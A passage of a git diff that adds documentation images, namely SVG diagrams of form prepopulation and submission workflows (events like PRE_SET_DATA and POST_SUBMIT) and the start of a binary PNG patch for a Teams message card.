style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.601 18.296h30.457M26.601 36.158h30.457M26.601 18.296a.3.3 0 0 0-.3.3M57.358 18.596a.3.3 0 0 0-.3-.3M26.301 18.596v17.262M57.358 18.596v17.262M26.301 35.858a.3.3 0 0 0 .3.3M57.058 36.158a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 103.457h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="121.707"/><use xlink:href="#o" x="86.109" y="121.707"/><use xlink:href="#o" x="95.016" y="121.707"/><use xlink:href="#p" x="103.922" y="121.707"/><use xlink:href="#q" x="109.781" y="121.707"/><use xlink:href="#r" x="118.336" y="121.707"/><use xlink:href="#r" x="125.328" y="121.707"/><use xlink:href="#s" x="132.32" y="121.707"/><use xlink:href="#t" x="136.422" y="121.707"/><use xlink:href="#u" x="141.285" y="121.707"/><use xlink:href="#v" x="145.777" y="121.707"/><use xlink:href="#q" x="154.762" y="121.707"/><use xlink:href="#s" x="163.316" y="121.707"/><use xlink:href="#w" x="167.418" y="121.707"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 94.184h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 100.184v-6c-3.313 0-6 2.683-6 6zM605.309 100.184h6c0-3.317-2.684-6-6-6zM191.309 100.184h420v28h-420zM197.309 128.184h-6c0 3.312 2.687 6 6 6zM605.309 128.184v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 20.173h20.4M34.01 22.173h20.4M34.01 20.173a.3.3 0 0 0-.3.3M54.71 20.473a.3.3 0 0 0-.3-.3M33.71 20.473v1.4M54.71 20.473v1.4M33.71 21.873a.3.3 0 0 0 .3.3M54.41 22.173a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.309 138.934h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#x" x="191.309" y="155.184"/><use xlink:href="#y" x="199.004" y="155.184"/><use xlink:href="#z" x="203.945" y="155.184"/><use xlink:href="#A" x="208.887" y="155.184"/><use xlink:href="#A" x="216.211" y="155.184"/><use xlink:href="#y" x="223.652" y="155.184"/><use xlink:href="#B" x="228.594" y="155.184"/><use xlink:href="#C" x="232.402" y="155.184"/><use xlink:href="#D" x="239.609" y="155.184"/><use xlink:href="#D" x="247.402" y="155.184"/><use xlink:href="#z" x="255.195" y="155.184"/><use xlink:href="#A" x="260.137" y="155.184"/><use xlink:href="#E" x="267.578" y="155.184"/><use xlink:href="#E" x="273.652" y="155.184"/><use xlink:href="#F" x="279.727" y="155.184"/><use xlink:href="#B" x="281.465" y="155.184"/><use xlink:href="#G" x="285.273" y="155.184"/><use xlink:href="#H" x="291.523" y="155.184"/><use xlink:href="#I" x="294.316" y="155.184"/><use xlink:href="#H" x="303.789" y="155.184"/><use xlink:href="#B" x="305.41" y="155.184"/><use xlink:href="#J" x="309.219" y="155.184"/><use xlink:href="#K" x="317.031" y="155.184"/><use xlink:href="#L" x="324.492" y="155.184"/><use xlink:href="#F" x="331.914" y="155.184"/><use xlink:href="#B" x="333.652" y="155.184"/><use xlink:href="#M" x="337.461" y="155.184"/><use xlink:href="#K" x="343.574" y="155.184"/><use xlink:href="#N" x="351.348" y="155.184"/><use xlink:href="#O" x="363.066" y="155.184"/><use xlink:href="#C" x="370.898" y="155.184"/><use xlink:href="#P" x="378.105" y="155.184"/><use xlink:href="#Q" x="386.016" y="155.184"/><use xlink:href="#B" x="392.305" y="155.184"/><use xlink:href="#P" x="396.113" y="155.184"/><use xlink:href="#C" x="404.023" y="155.184"/><use xlink:href="#N" x="411.23" y="155.184"/><use xlink:href="#A" x="422.949" y="155.184"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.115 24.842-3.462-.005" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.653 24.837c0-.125.125-.25.25-.25a.27.27 0 0 1 .25.251c0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 184.79h102.399v23.85H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="203.039"/><use xlink:href="#o" x="86.109" y="203.039"/><use xlink:href="#o" x="95.016" y="203.039"/><use xlink:href="#p" x="103.922" y="203.039"/><use xlink:href="#q" x="109.781" y="203.039"/><use xlink:href="#r" x="118.336" y="203.039"/><use xlink:href="#r" x="125.328" y="203.039"/><use xlink:href="#s" x="132.32" y="203.039"/><use xlink:href="#t" x="136.422" y="203.039"/><use xlink:href="#u" x="141.285" y="203.039"/><use xlink:href="#v" x="145.777" y="203.039"/><use xlink:href="#q" x="154.762" y="203.039"/><use xlink:href="#s" x="163.316" y="203.039"/><use xlink:href="#R" x="167.418" y="203.039"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 175.516h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 181.516v-6c-3.313 0-6 2.687-6 6zM605.309 181.516h6c0-3.313-2.684-6-6-6zM191.309 181.516h420v28h-420zM197.309 209.516h-6c0 3.312 2.687 6 6 6zM605.309 209.516v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 24.24h20.4M34.01 26.24h20.4M34.01 24.24a.3.3 0 0 0-.3.3M54.71 24.54a.3.3 0 0 0-.3-.3M33.71 24.54v1.4M54.71 24.54v1.4M33.71 25.94a.3.3 0 0 0 .3.3M54.41 26.24a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.809 219.934H413.91v21.25H190.81zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#S" x="190.809" y="236.184"/><use xlink:href="#O" x="199.324" y="236.184"/><use xlink:href="#C" x="207.156" y="236.184"/><use xlink:href="#z" x="214.363" y="236.184"/><use xlink:href="#y" x="219.734" y="236.184"/><use xlink:href="#N" x="224.676" y="236.184"/><use xlink:href="#A" x="236.395" y="236.184"/><use xlink:href="#P" x="243.836" y="236.184"/><use xlink:href="#y" x="251.746" y="236.184"/><use xlink:href="#F" x="256.688" y="236.184"/><use xlink:href="#B" x="258.426" y="236.184"/><use xlink:href="#E" x="262.234" y="236.184"/><use xlink:href="#T" x="268.309" y="236.184"/><use xlink:href="#U" x="276.121" y="236.184"/><use xlink:href="#y" x="280.027" y="236.184"/><use xlink:href="#A" x="284.852" y="236.184"/><use xlink:href="#F" x="292.293" y="236.184"/><use xlink:href="#B" x="294.031" y="236.184"/><use xlink:href="#T" x="297.84" y="236.184"/><use xlink:href="#P" x="305.652" y="236.184"/><use xlink:href="#U" x="313.563" y="236.184"/><use xlink:href="#y" x="317.469" y="236.184"/><use xlink:href="#F" x="322.41" y="236.184"/><use xlink:href="#B" x="324.148" y="236.184"/><use xlink:href="#J" x="327.957" y="236.184"/><use xlink:href="#T" x="335.77" y="236.184"/><use xlink:href="#U" x="343.582" y="236.184"/><use xlink:href="#V" x="347.488" y="236.184"/><use xlink:href="#D" x="351.688" y="236.184"/><use xlink:href="#U" x="359.48" y="236.184"/><use xlink:href="#P" x="363.387" y="236.184"/><use xlink:href="#W" x="371.297" y="236.184"/><use xlink:href="#F" x="379.07" y="236.184"/><use xlink:href="#B" x="380.809" y="236.184"/><use xlink:href="#X" x="384.617" y="236.184"/><use xlink:href="#K" x="393.055" y="236.184"/><use xlink:href="#K" x="400.828" y="236.184"/><use xlink:href="#z" x="408.602" y="236.184"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 268.29h27.399v23.85H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#Y" x="149.238" y="286.539"/><use xlink:href="#u" x="158.379" y="286.539"/><use xlink:href="#Z" x="162.871" y="286.539"/><use xlink:href="#aa" x="168.301" y="286.539"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 259.016h188v40h-188zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 265.016v-6c-3.313 0-6 2.687-6 6zM385.309 265.016h6c0-3.313-2.684-6-6-6zM191.309 265.016h200v28h-200zM197.309 293.016h-6c0 3.312 2.687 6 6 6zM385.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 28.415h9.4M34.01 30.415h9.4M34.01 28.415a.3.3 0 0 0-.3.3M43.71 28.715a.3.3 0 0 0-.3-.3M33.71 28.715v1.4M43.71 28.715v1.4M33.71 30.115a.3.3 0 0 0 .3.3M43.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 339.52h62.353v23.851H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#ab" x="114.883" y="357.77"/><use xlink:href="#ac" x="123.789" y="357.77"/><use xlink:href="#ad" x="128.555" y="357.77"/><use xlink:href="#s" x="137.461" y="357.77"/><use xlink:href="#Y" x="141.348" y="357.77"/><use xlink:href="#ae" x="149.941" y="357.77"/><use xlink:href="#o" x="158.848" y="357.77"/><use xlink:href="#q" x="167.754" y="357.77"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 330.242h108v40h-108zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 336.242v-6c-3.313 0-6 2.688-6 6zM305.309 336.242h6c0-3.312-2.684-6-6-6zM191.309 336.242h120v28h-120zM197.309 364.242h-6c0 3.317 2.687 6 6 6zM305.309 364.242v6c3.316 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 31.976h5.4M34.01 33.976h5.4M34.01 31.976a.3.3 0 0 0-.3.3M39.71 32.276a.3.3 0 0 0-.3-.3M33.71 32.276v1.4M39.71 32.276v1.4M33.71 33.676a.3.3 0 0 0 .3.3M39.41 33.976a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 259.016h128v40h-128zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 265.016v-6c-3.313 0-6 2.687-6 6zM605.309 265.016h6c0-3.313-2.684-6-6-6zM471.309 265.016h140v28h-140zM477.309 293.016h-6c0 3.312 2.687 6 6 6zM605.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.01 28.415h6.4M48.01 30.415h6.4M48.01 28.415a.3.3 0 0 0-.3.3M54.71 28.715a.3.3 0 0 0-.3-.3M47.71 28.715v1.4M54.71 28.715v1.4M47.71 30.115a.3.3 0 0 0 .3.3M54.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 268.29h37.8v23.85h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#af" x="423.063" y="286.539"/><use xlink:href="#Z" x="431.852" y="286.539"/><use xlink:href="#ag" x="437.672" y="286.539"/><use xlink:href="#Z" x="445.934" y="286.539"/><use xlink:href="#q" x="451.754" y="286.539"/></g></svg>
diff --git a/_images/form/form_prepopulation_workflow.svg b/_images/form/form_prepopulation_workflow.svg
new file mode 100644
index 00000000000..1db13f94c72
--- /dev/null
+++ b/_images/form/form_prepopulation_workflow.svg
@@ -0,0 +1,54 @@
+<svg width="700" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="prepopulation">
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="920" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1000" y="1319.84">
+        <tspan x="1000" y="1319.84">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1700" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1780" y="1319.84">
+        <tspan x="1780" y="1319.84">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1080" y1="1311.85" x2="1689" y2="1311.85"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1689,1316.85 1699,1311.85 1689,1306.85 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1106.67 1180 L 1213.33,1180 C 1228.06,1180 1240,1190.5 1240,1203.45 C 1240,1216.4 1228.06,1226.9 1213.33,1226.9 L 1106.67,1226.9 C 1091.94,1226.9 1080,1216.4 1080,1203.45 C 1080,1190.5 1091.94,1180 1106.67,1180z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1160" y="1211.43">
+        <tspan x="1160" y="1211.43">Model data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="1280" width="140" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1550" y="1319.84">
+        <tspan x="1550" y="1319.84">POST_SET_DATA</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1200" y="1280" width="145.381" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1272.69" y="1319.84">
+        <tspan x="1272.69" y="1319.84">PRE_SET_DATA</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1088.7" y="1314.61" width="102.6" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1140" y="1333">
+        <tspan xml:space="preserve" x="1140" y="1333">  setData($data) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1160" y1="1226.9" x2="1160" y2="1300.85"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1155,1300.85 1160,1310.85 1165,1300.85 "/>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1366.97" y="1285.47" width="86.05" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1410" y="1303.85">
+        <tspan x="1410" y="1303.85">normalization</tspan>
+      </text>
+    </g>
+  </g>
+</svg>
diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg
new file mode 100644
index 00000000000..b58e11190a1
--- /dev/null
+++ b/_images/form/form_submission_workflow.svg
@@ -0,0 +1,76 @@
+<svg width="400" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="submission">
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1901.61" width="109" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1920">
+        <tspan xml:space="preserve" x="1300" y="1920">  denormalization</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1781.61" width="93.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1800">
+        <tspan xml:space="preserve" x="1300" y="1800">  normalization</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1100" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1180" y="1579.84">
+        <tspan x="1180" y="1579.84">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1340" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1420" y="1579.84">
+        <tspan x="1420" y="1579.84">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1220" y="2040" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="2079.84">
+        <tspan x="1300" y="2079.84">Submitted form</tspan>
+      </text>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1180,1603.71 1180,1640 1300,1640 1300,2028 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2028 1300,2038 1305,2028 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1420,1603.71 1420,1640 1300,1640 1300,2029 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2029 1300,2039 1305,2029 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1004.16 1645 L 1100.81,1645 C 1114.16,1645 1124.98,1655.5 1124.98,1668.45 C 1124.98,1681.4 1114.16,1691.9 1100.81,1691.9 L 1004.16,1691.9 C 990.818,1691.9 980,1681.4 980,1668.45 C 980,1655.5 990.818,1645 1004.16,1645z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1052.49" y="1676.43">
+        <tspan x="1052.49" y="1676.43">Request data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1220" y="1613.61" width="158.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1220" y="1632">
+        <tspan x="1220" y="1632">handleRequest($request) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1124.98" y1="1668.45" x2="1286" y2="1669.67"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1285.96,1674.67 1296,1669.74 1286.04,1664.67 "/>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1700" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1739.84">
+        <tspan x="1300" y="1739.84">PRE_SUBMIT</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1820" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1859.84">
+        <tspan x="1300" y="1859.84">SUBMIT</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1240" y="1940" width="120" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1979.84">
+        <tspan x="1300" y="1979.84">POST_SUBMIT</tspan>
+      </text>
+    </g>
+  </g>
+</svg>
diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg
new file mode 100644
index 00000000000..a256c2073ef
--- /dev/null
+++ b/_images/form/form_workflow.svg
@@ -0,0 +1,66 @@
+<svg width="400" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="global workflow">
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="620" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1560" y="659.838">
+        <tspan x="1560" y="659.838">New form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1720" y="620" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1800" y="659.838">
+        <tspan x="1800" y="659.838">Prepopulated form</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1600" y="860" width="160" height="63.7055" rx="6" ry="6"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="899.838">
+        <tspan x="1680" y="899.838">Submitted form</tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="1640" y1="651.853" x2="1709" y2="651.853"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1709,656.853 1719,651.853 1709,646.853 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1560,683.706 1560,740 1680,740 1680,847.996 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,847.996 1680,857.996 1685,847.996 "/>
+    </g>
+    <g>
+      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1800,683.706 1800,740 1680,740 1680,849 "/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,849 1680,859 1685,849 "/>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1626.67 520 L 1733.33,520 C 1748.06,520 1760,530.499 1760,543.449 C 1760,556.4 1748.06,566.898 1733.33,566.898 L 1626.67,566.898 C 1611.94,566.898 1600,556.4 1600,543.449 C 1600,530.499 1611.94,520 1626.67,520z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="551.435">
+        <tspan x="1680" y="551.435">Model data</tspan>
+      </text>
+    </g>
+    <g>
+      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1384.16 780 L 1480.81,780 C 1494.16,780 1504.98,790.499 1504.98,803.449 C 1504.98,816.4 1494.16,826.898 1480.81,826.898 L 1384.16,826.898 C 1370.82,826.898 1360,816.4 1360,803.449 C 1360,790.499 1370.82,780 1384.16,780z"/>
+      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1432.49" y="811.435">
+        <tspan x="1432.49" y="811.435">Request data</tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1680" y="581.613" width="102.6" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1680" y="600">
+        <tspan xml:space="preserve" x="1680" y="600">  setData($data) </tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1510" y="776.613" width="158.75" height="23.3724"/>
+      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1510" y="795">
+        <tspan x="1510" y="795">handleRequest($request) </tspan>
+      </text>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1504.98" y1="803.449" x2="1666" y2="804.667"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1665.96,809.667 1676,804.742 1666.04,799.667 "/>
+    </g>
+    <g>
+      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1680" y1="566.898" x2="1680" y2="640.853"/>
+      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1675,640.853 1680,650.853 1685,640.853 "/>
+    </g>
+  </g>
+</svg>
diff --git a/_images/notifier/microsoft_teams/message-card.png b/_images/notifier/microsoft_teams/message-card.png
new file mode 100644
index 0000000000000000000000000000000000000000..05f505fb3e0960e55017eb437049946e834002fe
GIT binary patch
literal 27738
zcmdRWcT|(x*Ct-BpdjE?DN0ij5fHFZBosR;0wTSOh;%~lBsM@=xF|)DA|So@njkd-
z(t995h;%{-B>_T`IrzJJ=Uem7tXZ?>Tk{7izzgqt-hKAj=h@GG_6dEcsm8%}f{lrZ
ziR0egTaTESm@!ODf1Et<2l&k<d+<2;*ysL8?FLg}x4;7U;ZK|E8rPYaN}||zE%$?;
